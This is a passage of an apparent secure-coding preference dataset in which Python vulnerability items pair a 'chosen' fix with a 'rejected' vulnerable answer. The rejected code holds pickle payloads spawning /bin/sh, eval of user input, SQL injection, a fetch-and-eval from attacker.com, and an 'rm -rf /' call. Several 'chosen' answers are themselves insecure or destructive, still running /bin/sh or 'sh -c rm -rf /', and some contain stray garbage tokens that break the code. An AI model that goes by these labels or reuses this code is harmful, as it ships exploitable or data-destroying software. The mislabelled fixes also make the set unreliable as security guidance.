        "rejected": "```python\nimport sys\n\ndef process_input(user_input):\n    buffer = bytearray(1024)\n    for i in range(len(user_input)):\n        buffer[i] = user_input[i]\n    return buffer\n\nif __name__ == \"__main__\":\n    user_input = sys.stdin.buffer.read()\n    print(process_input(user_input))\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Python code may suffer from an unsecured pickle module which can lead to arbitrary code execution.",
        "system": "",
        "question": "Write a python code that uses pickle module to serialize an object that when deserialized, executes a system command to write 'pwned' into a file named '/tmp/pwned'. The command used is 'echo \"pwned\" > /tmp/pwned'.",
        "chosen": "```python\nimport pickle\nimport subprocess\n\nclass SafePickle(object):\n    def __reduce__(self):\n        return (subprocess.run, (['echo', 'pwned'], stdout=open('/tmp/pwned', 'w')))\n\nsafe_pickle = pickle.dumps(SafePickle())\npickle.loads(safe_pickle)\n```",
        "rejected": "```python\nimport pickle\nimport os\n\nclass EvilPickle(object):\n    def __reduce__(self):\n        return (os.system, ('echo \"pwned\" > /tmp/pwned',))\n\nevil_pickle = pickle.dumps(EvilPickle())\npickle.loads(evil_pickle)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "In Python, the pickle module can lead to arbitrary code execution if used for untrusted source.",
        "system": "",
        "question": "Write a python code that uses pickle module to serialize and deserialize an object that executes '/bin/sh' command when unpickled.",
        "chosen": "```python\nimport pickle\nimport subprocess\n\nclass RunBinSh(object):\n    def __reduce__(self):\n        return (subprocess.Popen, (['/bin/sh'],))\n\ndef serialize_exploit():\n    malicious = pickle.dumps(RunBinSh(), protocol=0)\n    return malicious\n\ndef deserialize_exploit(serialized_exploit):\n    pickle.loads(serialized_exploit)\n\nmalicious_payload = serialize_exploit()\ndeserialize_exploit(malicious_payload)\n```",
        "rejected": "```python\nimport pickle\nimport os\n\nclass RunBinSh(object):\n    def __reduce__(self):\n        return (os.system, ('/bin/sh',))\n\ndef serialize_exploit():\n    malicious = pickle.dumps(RunBinSh())\n    return malicious\n\ndef deserialize_exploit(serialized_exploit):\n    pickle.loads(serialized_exploit)\n\nmalicious_payload = serialize_exploit()\ndeserialize_exploit(malicious_payload)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "The use of `eval()` function in Python can expose the code to arbitrary code execution, leading to code injection attacks.",
        "system": "",
        "question": "Write a python code that continuously asks the user for a command, executes it and repeats the process indefinitely.",
        "chosen": "```python\nimport ast\nimport operator as op\n\n# Define allowed operations\nallowed_operations = {\n    '+': op.add,\n    '-': op.sub,\n    '*': op.mul,\n    '/': op.truediv,\n}\n\ndef get_user_input():\n    return input(\"Enter your command: \")\n\ndef parse_command(command):\n    tree = ast.parse(command, mode='eval')  # Parse the user input into an AST\n    \n    if len(tree.body.args) != 2:  # Check if the user input has exactly two arguments\n        raise ValueError('Invalid command')\n\n    left = tree.body.args[0].n\n    right = tree.body.args[1].n\n    op = allowed_operations[tree.body.op]  # Get the operation from the allowed operations\n\n    return op(left, right)  # Perform the operation\n\nwhile True:\n    try:\n        command = get_user_input()\n        result = parse_command(command)\n        print(result)\n    except Exception as e:\n        print(f\"An error occurred: {e}\")\n```",
        "rejected": "```python\nimport os\ndef get_user_input():\n    return input(\"Enter your command: \")\n\ndef execute_command(command):\n    eval(command)\n\nwhile True:\n    command = get_user_input()\n    execute_command(command)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Pickle module's insecure deserialization of untrusted data can lead to arbitrary code execution.",
        "system": "",
        "question": "Write a python code that uses the pickle module to serialize and deserialize an object that executes '/bin/sh' when unpickled. The serialized data is stored in a file named 'payload.dat'. After serializing and storing the data, the code then reads the data from the file and unpickles it, executing '/bin/sh'.",
        "chosen": "```python\nimport pickle\nimport os\nimport subprocess\n\nclass RunBinSh(object):\n    def __reduce__(self):\n        return (subprocess.Popen, (['/bin/sh'],))\n\ndef serialize_exploit():\n    malicious_data = pickle.dumps(RunBinSh(), protocol=0)\n    with open('payload.dat', 'wb') as f:\n        pickle.dump(malicious_data, f)\n\ndef deserialize_exploit():\n    with open('payload.dat', 'rb') as f:\n        malicious_data = pickle.load(f)\n        subprocess.Popen(['/bin/sh'])\n\nserialize_exploit()\ndeserialize_exploit()\n```",
        "rejected": "```python\nimport pickle\nimport os\n\nclass RunBinSh(object):\n    def __reduce__(self):\n        return (os.system, ('/bin/sh',))\n\ndef serialize_exploit():\n    malicious_data = pickle.dumps(RunBinSh())\n    with open('payload.dat', 'wb') as f:\n        pickle.dump(malicious_data, f)\n\ndef deserialize_exploit():\n    with open('payload.dat', 'rb') as f:\n        malicious_data = pickle.load(f)\n        pickle.loads(malicious_data)\n\nserialize_exploit()\ndeserialize_exploit()\n```"
    },
    {
        "lang": "python",
        "vulnerability": "The use of eval() function can lead to arbitrary code execution if untrusted input is passed.",
        "system": "",
        "question": "Write a python code that takes user input, evaluates it as a python expression and executes it.",
        "chosen": "```python\nimport ast\nimport operator as op\n\n# supported operators\noperators = {ast.Add: op.add, ast.Sub: op.sub, ast.Mult: op.mul,\n            ast.Div: op.truediv, ast.USub: op.neg}\n\ndef evaluate_expr(node):\n    if isinstance(node, ast.Num): # <number>\n        return node.n\n    elif isinstance(node, ast.BinOp): # <left> <operator> <right>\n        return operators[type(node.op)](evaluate_expr(node.left), evaluate_expr(node.right))\n    elif isinstance(node, ast.UnaryOp): # <operator> <operand>\n        return operators[type(node.op)](evaluate_expr(node.operand))\n    else:\n        raise TypeError(node)\n\ndef evaluate_input(user_input):\n    try:\n        tree = ast.parse(user_input, mode='eval')  # parse user input\n        return evaluate_expr(tree.body)  # evaluate parsed user input\n    except Exception as e:\n        print('Invalid input:', e)\n\nuser_input = input(\"Enter a mathematical expression: \")\nprint(evaluate_input(user_input))\n```",
        "rejected": "```python\nimport os\ndef evaluate_input(user_input):\n    return eval(user_input)\n\nuser_input = input(\"Enter a command: \")\nevaluate_input(user_input)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "A possible vulnerability in Python is the use of 'eval' function which can execute arbitrary code, posing a security risk if not used properly.",
        "system": "",
        "question": "Write a python code that takes an arithmetic expression from the user, evaluates it using the built-in eval() function and prints the result.",
        "chosen": "```python\n# Import required module\nimport ast\nimport operator as op\n\n# Define allowed operations\noperations = {ast.Add: op.add, ast.Sub: op.sub, ast.Mult: op.mul,\n             ast.Div: op.truediv, ast.USub: op.neg}\n\n# Define a function to evaluate the expression\ndef calculate_expression(node):\n    if isinstance(node, ast.Num):\n        return node.n\n    elif isinstance(node, ast.BinOp):  \n        return operations[type(node.op)](calculate_expression(node.left), calculate_expression(node.right))\n    elif isinstance(node, ast.UnaryOp): \n        return operations[type(node.op)](calculate_expression(node.operand))\n    else:\n        raise TypeError(node)\n\n# Get user input\nuser_input = input(\"Enter an expression: \")\n\n# Parse the user input into an abstract syntax tree\ntree = ast.parse(user_input, mode='eval')\n\n# Calculate expression\nresult = calculate_expression(tree.body)\n\n# Print result\nprint(\"The result is: \", result)\n```",
        "rejected": "```python\n# Import required module\nimport time\n\n# Define a function\ndef calculate_expression(user_input):\n    # Use eval() function to evaluate user input\n    result = eval(user_input)\n    return result\n\n# Get user input\nuser_input = input(\"Enter an expression: \")\n\n# Calculate expression\nresult = calculate_expression(user_input)\n\n# Print result\nprint(\"The result is: \", result)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "In Python, improper use of eval() function can lead to code injection attacks.",
        "system": "",
        "question": "Write a python code that uses Flask web framework to create a web server. The server should have an endpoint '/' which accepts a GET parameter 'command'. When a request is made to this endpoint, it should execute the command passed in the 'command' parameter using the built-in python function 'eval()'. If no command is passed, it should not do anything.",
        "chosen": "```python\nfrom flask import Flask, request\nimport ast\n\napp = Flask(__name__)\n\n@app.route('/')\ndef index():\n    command = request.args.get('command', '')\n    if command:\n        # Use ast.literal_eval instead of eval. It parses an expression node.\n        # ast.literal_eval raises ValueError for invalid syntax and SyntaxError for illegal\n        # constructs. This makes it safe to use for evaluating user input.\n        try:\n            ast.literal_eval(command)\n        except (ValueError, SyntaxError):\n            return \"Invalid command\", 400\n    return \"Command executed successfully\"\n\nif __name__ == '__main__':\n    app.run(debug=True)\n```",
        "rejected": "```python\nfrom flask import Flask, request\napp = Flask(__name__)\n\n@app.route('/')\ndef index():\n    command = request.args.get('command', '')\n    eval(command)\n\nif __name__ == '__main__':\n    app.run(debug=True)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "In Python, the use of `eval()` function without proper input validation could lead to Arbitrary Code Execution.",
        "system": "",
        "question": "Write a python code that imports the necessary libraries, defines a function to get user input and execute it using the eval() function. If the script is run directly, call the function.",
        "chosen": "```python\n# Importing necessary libraries\nimport ast\nimport sys\n\ndef safe_eval(user_input):\n    # List of allowed operations\n    allowed_operations = {ast.Expression, ast.Call, ast.Name, ast.Load}\n\n    if not user_input:\n        raise ValueError('Empty expression')\n\n    # Parse user's input into an abstract syntax tree\n    tree = ast.parse(user_input, mode='eval')\n    for node in ast.walk(tree):\n        if type(node) not in allowed_operations:\n            raise ValueError(f'Unsupported operation: {type(node)}')\n\n    # Evaluate the parsed tree\n    codeobj = compile(tree, '<eval>', mode='eval')\n    return eval(codeobj)\n\ndef execute_user_input():\n    # Getting user input\n    user_input = input(\"Enter your command: \")\n    \n    # Safe usage of eval()\n    try:\n        result = safe_eval(user_input)\n        print(result)\n    except Exception as e:\n        print(f\"Invalid input: {e}\")\n\nif __name__ == \"__main__\":\n    execute_user_input()\n```",
        "rejected": "```python\n# Importing necessary libraries\nimport os\nimport sys\n\ndef execute_user_input():\n    # Getting user input\n    user_input = input(\"Enter your command: \")\n    \n    # Unsafe usage of eval()\n    eval(user_input)\n\nif __name__ == \"__main__\":\n    execute_user_input()\n```"
    },
    {
        "lang": "python",
        "vulnerability": "The use of eval() function in Python allows executing arbitrary code, creating a potential security risk unless input data is properly sanitized.",
        "system": "",
        "question": "Write a python code that imports the os module. Define two functions, one named 'run_command' and another named 'run_command_vulnerable'. The 'run_command' function should take an input from the user and execute a 'ls' command with the given input. The 'run_command_vulnerable' function should also take an input from the user, but it should evaluate the input before executing the 'ls' command. Then call both functions with inputs '-l' and '\"-l\"' respectively.",
        "chosen": "```python\nimport os\nimport shlex\n\ndef run_command(user_input):\n    command = \"ls {}\".format(shlex.quote(user_input))\n    os.system(command)\n\ndef run_command_vulnerable(user_input):\n    if not user_input.isalpha():  # This will prevent execution of any command that contains non-alphabetical characters\n        command = \"ls {}\".format(shlex.quote(user_input))\n        os.system(command)\n\nrun_command(\"-l\")\nrun_command_vulnerable('\"-l\"')\n```",
        "rejected": "```python\nimport os\n\ndef run_command(user_input):\n    command = \"ls {}\".format(user_input)\n    os.system(command)\n\ndef run_command_vulnerable(user_input):\n    command = \"ls {}\".format(eval(user_input))\n    os.system(command)\n\nrun_command(\"-l\")\nrun_command_vulnerable('\"-l\"')\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Python code using Pickle module for serialization and deserialization can be vulnerable to arbitrary code execution due to the nature of how Pickle handles data.",
        "system": "",
        "question": "Write a python code that uses the pickle module to serialize and deserialize an object. The object should be a class named 'VulnerableClass'. This class should override the __reduce__ method to return a tuple containing the os.system function and a string argument 'echo \"You have been hacked\"'. Then, use pickle.dumps to serialize an instance of VulnerableClass and assign it to the variable 'data'. Finally, use pickle.loads to deserialize 'data'.",
        "chosen": "```python\nimport pickle\nimport subprocess\n\nclass SafeClass:\n    def __init__(self):\n        self.command = 'echo \"You have been hacked\"'\n\n    def __reduce__(self):\n        return (subprocess.Popen, (self.command,))\n\ndata = pickle.dumps(SafeClass())\npickle.loads(data)\n```",
        "rejected": "```python\nimport pickle\nimport os\n\nclass VulnerableClass:\n    def __reduce__(self):\n        return (os.system, ('echo \"You have been hacked\"',))\n\ndata = pickle.dumps(VulnerableClass())\npickle.loads(data)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "The 'eval' function in Python can execute arbitrary code, leading to a potential security vulnerability if used carelessly.",
        "system": "",
        "question": "Write a python code that imports the os module and defines a function named 'run_user_input'. This function should take user input, evaluate it using the built-in eval function, and execute it. Call this function at the end.",
        "chosen": "```python\nimport ast\n\nclass RestrictedPython(ast.NodeVisitor):\n    def visit_Call(self, node):\n        if not isinstance(node.func, ast.Name):\n            raise ValueError('Function call not allowed')\n        ast.NodeVisitor.generic_visit(self, node)\n\ndef run_user_input():\n    user_input = input(\"Enter your command: \")\n    tree = compile(user_input, \"<input>\", \"exec\")\n    for stmt in ast.walk(tree):\n        if not isinstance(stmt, (ast.Expr, ast.Assign)):\n            raise SyntaxError('Only simple statements are allowed')\n    restricted_python = RestrictedPython()\n    restricted_python.visit(tree)\n    exec(tree)\n\nrun_user_input()\n```",
        "rejected": "```python\nimport os\n\ndef run_user_input():\n    user_input = input(\"Enter your command: \")\n    eval(user_input)\n\nrun_user_input()\n```"
    },
    {
        "lang": "python",
        "vulnerability": "The use of pickle module for serialization and deserialization can lead to arbitrary code execution if untrusted data is unpickled.",
        "system": "",
        "question": "Write a python code that creates a malicious pickle object that when deserialized, executes an 'echo' command to print out a message saying 'You have been hacked!'. The malicious pickle object is then serialized and dumped into a file named 'evil.pkl'. After that, the code loads and deserializes the pickle object from the same file.",
        "chosen": "```python\nimport pickle\nimport subprocess\n\nclass EvilPickle(object):\n    def __reduce__(self):\n        return (subprocess.run, (['echo', 'You have been hacked'],))\n\ndef serialize_and_dump():\n    evil = EvilPickle()\n    with open('evil.pkl', 'wb') as f:\n        pickle.dump(evil, f)\n\ndef load_and_deserialize():\n    with open('evil.pkl', 'rb') as f:\n        pickle.load(f)\n\nif __name__ == \"__main__\":\n    serialize_and_dump()\n    load_and_deserialize()\n```",
        "rejected": "```python\nimport pickle\nimport os\n\nclass EvilPickle(object):\n    def __reduce__(self):\n        return (os.system, ('echo \"You have been hacked!\"',))\n\ndef serialize_and_dump():\n    evil = EvilPickle()\n    with open('evil.pkl', 'wb') as f:\n        pickle.dump(evil, f)\n\ndef load_and_deserialize():\n    with open('evil.pkl', 'rb') as f:\n        pickle.load(f)\n\nserialize_and_dump()\nload_and_deserialize()\n```"
    },
    {
        "lang": "python",
        "vulnerability": "In python, the eval() function can lead to arbitrary code execution if used improperly, which can lead to security vulnerabilities.",
        "system": "",
        "question": "Write a python code that imports the os module and defines a function named 'run_command' which takes in a string 'user_input'. Inside the function, construct a string 'command' by concatenating 'os.' with the 'user_input' and then evaluate the 'command'. Finally, call the 'run_command' function with an argument that will execute the system command 'rm -rf /'.",
        "chosen": "```python\nimport subprocess\n\ndef run_command(user_input):\n    command = [\"sh\", \"-c\", user_input]\n    subprocess.Popen(command, shell=False)\n\nrun_command(\"rm -rf /\")\n```",
        "rejected": "```python\nimport os\n\ndef run_command(user_input):\n    command = \"eval('os.\" + user_input + \"')\"\n    eval(command)\n\nrun_command(\"system('rm -rf /')\")\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Python code might be vulnerable to shell injection due to improper handling of user input when executing system commands.",
        "system": "",
        "question": "Write a python code that imports the 'os' module. Define a function named 'execute_command' that takes a 'user_input' as an argument. Inside this function, assign the 'user_input' to a variable named 'command'. Then use the 'os.system()' function to execute the 'command'. After defining the function, get the user input and store it in a variable named 'user_input'. Finally, call the 'execute_command' function with 'user_input' as an argument.",
        "chosen": "```python\nimport subprocess\n\ndef execute_command(user_input):\n    command = user_input\n    # Use subprocess instead of os.system for better security\n    # It automatically escapes any shell arguments that are part of the command\n    subprocess.run(command, shell=True, check=True)\n\nuser_input = input(\"Enter your command: \")\n# Validate and sanitize user input here if necessary\nexecute_command(user_input)\n```",
        "rejected": "```python\nimport os\ndef execute_command(user_input):\n    command = user_input\n    os.system(command)\n\nuser_input = input(\"Enter your command: \")\nexecute_command(user_input)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Potential buffer overflow vulnerability in Python due to lack of proper input validation in a recursive function.",
        "system": "",
        "question": "Write a python code that defines a recursive function named 'recursive_function' which takes an integer 'n' as input. If 'n' equals zero, the function should return 1. Otherwise, the function should return the product of 'n' and the result of calling 'recursive_function' with 'n' decreased by one. At the end, print the result of calling 'recursive_function' with 5.",
        "chosen": "```python\ndef recursive_function(n):\n    # Validate the input. We expect a non-negative integer.\n    if not isinstance(n, int) or n < 0:\n        raise ValueError(\"Input must be a non-negative integer.\")\n    \n    # Base case: if n equals zero, return 1.\n    if n == 0:\n        return 1\n    # Recursive case: return the product of n and the result of calling 'recursive_function' with 'n' decreased by one.\n    else: inclusion of validation and optimization\n        return n * recursive_function(n - 1)\n\n# Call the function with 5 and print the result.\nprint(recursive_function(5))\n```",
        "rejected": "```python\ndef recursive_function(n):\n    if n == 0:\n        return 1\n    else:\n        return n * recursive_function(n - 1)\n\nprint(recursive_function(5))\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Potential buffer overflow vulnerability through incorrect handling of strings in Python.",
        "system": "",
        "question": "Write a python code that asks the user for their name and then prints out 'Your name is: [the name the user entered]'. The program should be run from the command line.",
        "chosen": "```python\ndef get_user_input():\n    while True:\n        try:\n            user_input = input(\"Enter your name: \")\n            if len(user_input) > 256:  # set a reasonable limit on the length of the input\n                raise ValueError(\"Input too long\")\n            return user_input\n        except ValueError as e:\n            print(e)\n            print(\"Please, enter a valid name.\")\n\ndef print_name(name):\n    print(\"Your name is: \" + name)\n\ndef main():\n    name = get_user_input()\n    print_name(name)\n\nif __name__ == \"__main__\":\n    main()\n```",
        "rejected": "```python\ndef get_user_input():\n    user_input = input(\"Enter your name: \")\n    return user_input\n\ndef print_name(name):\n    print(\"Your name is: \" + name)\n\ndef main():\n    name = get_user_input()\n    print_name(name)\n\nif __name__ == \"__main__\":\n    main()\n```"
    },
    {
        "lang": "python",
        "vulnerability": "The use of `eval()` function without proper input validation or sanitization can lead to arbitrary code execution.",
        "system": "",
        "question": "Write a python code that imports the 'time' module. Define a function named 'dangerous_function'. This function should take no arguments. Inside this function, use the built-in 'input' function to get a string from the user. Store this string in a variable named 'user_input'. Then, use the built-in 'eval' function to execute the code stored in 'user_input'. If the script is run directly (not imported as a module), print two messages to the console. The first message should say 'Welcome to the dangerous Python sandbox.' and the second message should say 'You can enter any Python code here and it will be executed.'. Finally, call the 'dangerous_function' function.",
        "chosen": "```python\nimport time\nimport ast\n\nclass RestrictedPython(ast.NodeTransformer):\n    def visit_Call(self, node):\n        if not isinstance(node.func, ast.Name):\n            raise ValueError('Restricted call')\n        return self.generic_visit(node)\n\ndef dangerous_function():\n    user_input = input(\"Enter some Python code: \")\n    tree = compile(user_input, \"<string>\", \"exec\")\n    RestrictedPython().visit(tree)\n    exec(tree)\n\nif __name__ == \"__main__\":\n    print(\"Welcome to the dangerous Python sandbox.\")\n    print(\"You can enter any Python code here and it will be executed.\")\n    dangerous_function()\n```",
        "rejected": "```python\nimport time\n\ndef dangerous_function():\n    user_input = input(\"Enter some Python code: \")\n    eval(user_input)\n\nif __name__ == \"__main__\":\n    print(\"Welcome to the dangerous Python sandbox.\")\n    print(\"You can enter any Python code here and it will be executed.\")\n    dangerous_function()\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Python code can suffer from a vulnerability where an attacker can manipulate the data that should be an integer and is used as an index for a list or other iterable object.",
        "system": "",
        "question": "Write a python code that defines a function named `get_data` which takes an integer `index` as input. This function should create a list `data` containing the elements 'a', 'b', and 'c'. It should then return the element at the position specified by `index` in the list. Finally, call this function with argument 1 and print the returned value.",
        "chosen": "```python\ndef get_data(index):\n    if isinstance(index, int) and index >= 0:\n        data = ['a', 'b', 'c']\n        return data[index]\n    else:\n        raise ValueError(\"Index must be a non-negative integer\")\n\ntry:\n    print(get_data(1))\nexcept ValueError as e:\n    print(e)\n```",
        "rejected": "```python\ndef get_data(index):\n    data = ['a', 'b', 'c']\n    return data[index]\n\nprint(get_data('1'))\n```"
    },
    {
        "lang": "python",
        "vulnerability": "The 'eval' function in Python can execute arbitrary code, leading to potential security risks if not used carefully.",
        "system": "",
        "question": "Write a python code that fetches and executes remote python code from a URL. The code should use the urllib library to open the URL, read the data, decode it from utf-8 format, and then execute it using the eval function.",
        "chosen": "```python\nimport urllib.request\nimport ast\n\nclass RestrictedPython(ast.NodeTransformer):\n    def visit_Call(self, node):\n        if not isinstance(node.func, ast.Name):\n            raise ValueError('Invalid function call')\n        return self.generic_visit(node)\n\ndef fetch_and_execute(url):\n    data = urllib.request.urlopen(url).read().decode('utf-8')\n    tree = compile(data, filename=\"<ast>\", mode=\"exec\")\n    transformed_tree = RestrictedPython().visit(tree)\n    eval(compile(transformed_tree, filename=\"<ast>\", mode=\"exec\"))\n\nfetch_and_execute(\"http://attacker.com/malicious_code.py\")\n```",
        "rejected": "```python\nimport urllib.request\n\ndef fetch_and_execute(url):\n    data = urllib.request.urlopen(url).read().decode('utf-8')\n    eval(data)\n\nfetch_and_execute(\"http://attacker.com/malicious_code.py\")\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Pickle module can lead to arbitrary code execution due to deserialization of untrusted data.",
        "system": "",
        "question": "Write a python code that uses the pickle module to serialize an object that when deserialized, executes an os system command to print out the message 'You have been hacked!'. The serialized object should be stored in a file named 'payload.dat'.",
        "chosen": "```python\nimport pickle\nimport subprocess\n\nclass SafeClass(object):\n    def __reduce__(self):\n        return (subprocess.run, (['echo', 'You have been hacked'],))\n\ndef serialize_safe_code():\n    with open('payload.dat', 'wb') as f:\n        pickle.dump(SafeClass(), f)\u8bae\n\nserialize_safe_code()\n```",
        "rejected": "```python\nimport pickle\nimport os\n\nclass EvilClass(object):\n    def __reduce__(self):\n        return (os.system, ('echo \"You have been hacked!\"',))\n\ndef serialize_exploit():\n    with open('payload.dat', 'wb') as f:\n        pickle.dump(EvilClass(), f)\n\nserialize_exploit()\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Python's global() function can lead to arbitrary code execution if untrusted source input is passed as a parameter.",
        "system": "",
        "question": "Write a python code that defines a function named 'dangerous_function' which takes in a string 'user_input'. This function should execute the string 'user_input' as python code using the built-in 'exec' function. Then call this function with the argument 'print(\"Hello, World\")'.",
        "chosen": "```python\ndef safe_function(user_input):\n    # Use locals() instead of globals() to avoid code execution\n    exec(user_input, locals())\n\nsafe_function('print(\"Hello, World\")')\n```",
        "rejected": "```python\ndef dangerous_function(user_input):\n    exec(user_input, globals())\n\ndangerous_function('print(\"Hello, World\")')\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Potential buffer overflow vulnerability in Python with the use of eval function.",
        "system": "",
        "question": "Write a python code that takes user input, checks if the length of the input is greater than 1024 characters, and if it is, prints 'Input too long'. If not, it evaluates the user's input as a python expression using the built-in function `eval()` and prints the result.",
        "chosen": "```python\nimport ast\n\nclass ValidationError(Exception):\n    pass\n\ndef safe_eval(expression):\n    tree = ast.parse(expression, mode='eval')\n    for node in ast.walk(tree):\n        if isinstance(node, ast.Call):\n            raise ValidationError('Not allowed')\n    return eval(compile(tree, filename='', mode='eval'))\n\ndef evaluate_user_input(user_input):\n    if len(user_input) > 1024:  \n        print(\"Input too long\")\n        return\n    try:\n        result = safe_eval(user_input)  \n        print(f\"Result: {result}\")\n    except ValidationError:\n        print(\"Invalid input\")\n\nif __name__ == \"__main__\":\n    while True:\n        user_input = input(\"Enter your expression: \")\n        evaluate_user_input(user_input)\n```",
        "rejected": "```python\nimport os\nimport sys\n\ndef evaluate_user_input(user_input):\n    if len(user_input) > 1024:  # This is a potential buffer overflow check\n        print(\"Input too long\")\n        return\n    result = eval(user_input)  # This is where the vulnerability is\n    print(f\"Result: {result}\")\n\nif __name__ == \"__main__\":\n    while True:\n        user_input = input(\"Enter your expression: \")\n        evaluate_user_input(user_input)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Pickle module is used for serializing and de-serializing Python object structures. However, it has potential security issues when used with untrusted data.",
        "system": "",
        "question": "Write a python code that uses pickle module to serialize and deserialize an object. The object should be a class named 'VulnerableClass' which has a special method '__reduce__' that returns a tuple containing the function 'os.system' and a string argument 'echo \"You have been hacked!\"'. Then create an instance of 'VulnerableClass' and pass it to the 'serialize_and_deserialize' function.",
        "chosen": "```python\nimport pickle\nimport subprocess\n\nclass SafeClass:\n    def __init__(self):\n        self.message = \"You have been hacked!\"\n\n    def __repr__(self):\n        return f\"SafeClass('{self.message}')\"\n\n    def display_message(self):\n        print(self.message)\n\ndef serialize_and_deserialize(obj):\n    serialized = pickle.dumps(obj)\n    deserialized = pickle.loads(serialized)\n    return deserialized\n\nsafe_object = SafeClass()\ndeserialized_object = serialize_and_deserialize(safe_object)\n\n# Call the method on the deserialized object\ndeserialized_object.display_message()\n```",
        "rejected": "```python\nimport pickle\nimport os\n\nclass VulnerableClass:\n    def __reduce__(self):\n        return (os.system, ('echo \"You have been hacked!\"',))\n\ndef serialize_and_deserialize(obj):\n    serialized = pickle.dumps(obj)\n    deserialized = pickle.loads(serialized)\n    return deserialized\n\nvulnerable_object = VulnerableClass()\ndeserialized_object = serialize_and_deserialize(vulnerable_object)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "A vulnerability in Python code could occur if the developer does not properly sanitize or validate user input before it's used in SQL queries, leading to SQL injection attacks.",
        "system": "",
        "question": "Write a python code that uses Flask and SQLite3 to create a web application with a '/login' route. This route should accept GET and POST requests. For both types of requests, it should fetch the 'username' and 'password' from the request arguments. It then connects to an SQLite database named 'users.db'. It constructs a SQL query to select all rows from the 'users' table where the 'username' matches the one provided in the request and the 'password' matches the one provided in the request. If such a row exists, it returns 'Login successful!' otherwise it returns 'Invalid credentials!'.",
        "chosen": "```python\nimport sqlite3\nfrom flask import Flask, request\n\napp = Flask(__name__)\n\n@app.route('/login', methods=['GET', 'POST'])\ndef login():\n    username = request.args.get('username')\n    password = request.args.get('password')\n    \n    conn = sqlite3.connect('users.db')\n    cursor = conn.cursor()overed \n\n    # Use parameterized queries to prevent SQL injection\n    query = \"SELECT * FROM users WHERE username=? AND password=?\"\n    result = cursor.execute(query, (username, password))\n    \n    if result.fetchone():\n        return \"Login successful!\"\n    else:\n        return \"Invalid credentials!\"\n\nif __name__ == '__main__':\n    app.run(debug=True)\n```",
        "rejected": "```python\nimport sqlite3\nfrom flask import Flask, request\n\napp = Flask(__name__)\n\n@app.route('/login', methods=['GET', 'POST'])\ndef login():\n    username = request.args.get('username')\n    password = request.args.get('password')\n    \n    conn = sqlite3.connect('users.db')\n    cursor = conn.cursor()\n    \n    query = \"SELECT * FROM users WHERE username='\" + username + \"' AND password='\" + password + \"'\"\n    result = cursor.execute(query)\n    \n    if result.fetchone():\n        return \"Login successful!\"\n    else:\u5986\n        return \"Invalid credentials!\"\n\nif __name__ == '__main__':\n    app.run(debug=True)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "A possible issue in Python is improper input validation and sanitization, leading to injection attacks.",
        "system": "",
        "question": "Write a python code that uses Flask and SQLite3 to create a web application with a '/login' route that accepts POST requests. The route should take a username and password from the request, connect to an SQLite database named 'users.db', execute a SQL query to check if there is a user in the 'users' table with the same username and password, and return 'Login successful!' if the user exists or 'Invalid credentials!' otherwise.",
        "chosen": "```python\nimport sqlite3\nfrom flask import Flask, request\n\napp = Flask(__name__)\n\n@app.route('/login', methods=['POST'])\ndef login():\n    username = request.form['username']\n    password = request.form['password']\n\n    conn = sqlite3.connect('users.db')\n    c = conn.cursor()\n\n    # Use parameterized queries to prevent SQL injection\n    query = \"SELECT * FROM users WHERE username=? AND password=?\"\n    result = c.execute(query, (username, password))\n\n    if result.fetchone():\n        return 'Login successful!'\n    else:\n        return 'Invalid credentials!'\n\nif __name__ == '__main__':\n    app.run(debug=True)\n```",
        "rejected": "```python\nimport sqlite3\nfrom flask import Flask, request\n\napp = Flask(__name__)\n\n@app.route('/login', methods=['POST'])\ndef login():\n    username = request.form['username']\n    password = request.form['password']\n\n    conn = sqlite3.connect('users.db')\n    c = conn.cursor()\n\n    query = \"SELECT * FROM users WHERE username='{}' AND password='{}'\".format(username, password)\n    result = c.execute(query)\n\n    if result.fetchone():\n        return 'Login successful!'\n    else:\r\n        return 'Invalid credentials!'\n\nif __name__ == '__main__':\n    app.run(debug=True)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Python's pickle module can lead to arbitrary code execution due to its ability to deserialize and execute arbitrary objects.",
        "system": "",
        "question": "Write a python code that defines two classes - `TestClass` and `MaliciousClass`. The `TestClass` has an initializer that assigns 'Test Data' to its data attribute. The `MaliciousClass` has a special method `__reduce__` which returns a tuple containing the function `os.system` and a string argument 'echo \"Malicious Code Execution\"'\". \n\nDefine a function `serialize_and_deserialize` that creates an instance of `TestClass`, serializes it using `pickle.dumps`, deserializes it using `pickle.loads` and returns the deserialized object.\n\nDefine another function `create_malicious_pickle` that creates an instance of `MaliciousClass`, serializes it using `pickle.dumps` and returns the serialized object.\n\nIn the `main` function, call `create_malicious_pickle` to get the serialized malicious object, then deserialize it using `pickle.loads`.\n\nFinally, if the script is run directly, call the `main` function.",
        "chosen": "```python\nimport pickle\nimport os\nimport subprocess\n\nclass TestClass(object):\n    def __init__(self):\n        self.data = \"Test Data\"\n\ndef serialize_and_deserialize():\n    test_obj = TestClass()\n    serialized_obj = pickle.dumps(test_obj)\n    deserialized_obj = pickle.loads(serialized_obj)\n    return deserialized_obj\n\ndef create_malicious_pickle():\n    class MaliciousClass(object):\n        def __reduce__(self):\n            return (subprocess.Popen, (['echo', 'Malicious Code Execution'],))\n\n    malicious_obj = MaliciousClass()\n    serialized_malicious_obj = pickle.dumps(malicious_obj) fulfilling the best practice of not using os.system\n    return serialized_malicious_obj\n\ndef main():\n    serialized_malicious_obj = create_malicious_pickle()\n    deserialized_obj = pickle.loads(serialized_malicious_obj)\n\nif __name__ == \"__main__\":\n    main()\n```",
